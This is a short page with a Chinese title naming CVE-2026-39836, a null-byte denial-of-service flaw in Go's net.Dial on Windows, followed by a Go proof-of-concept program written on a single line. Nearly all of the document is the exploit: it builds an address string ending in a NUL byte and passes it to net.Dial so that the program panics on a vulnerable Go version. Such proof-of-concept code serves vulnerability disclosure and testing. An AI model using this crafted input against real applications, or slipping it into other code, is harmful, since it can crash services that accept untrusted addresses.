CVE-2026-39836 Windows下Dial函数空字节拒绝服务漏洞

package main import ( "fmt" "net" ) func main() { // PoC for CVE-2026-39836 // Demonstrates triggering a panic in net.Dial on Windows using a NUL byte. // This code should cause the program to crash when run on a vulnerable Windows version of Go. maliciousInput := "127.0.0.1:80\x00" fmt.Printf("Attempting to dial with input: %q\n", maliciousInput) // The Dial function expects a network type and address. // Passing an address with a NUL byte triggers the vulnerability. conn, err := net.Dial("tcp", maliciousInput) if err != nil { fmt.Println("Error returned (should not reach here if panic occurs):", err) return } defer conn.Close() fmt.Println("Connection established (unexpected)") }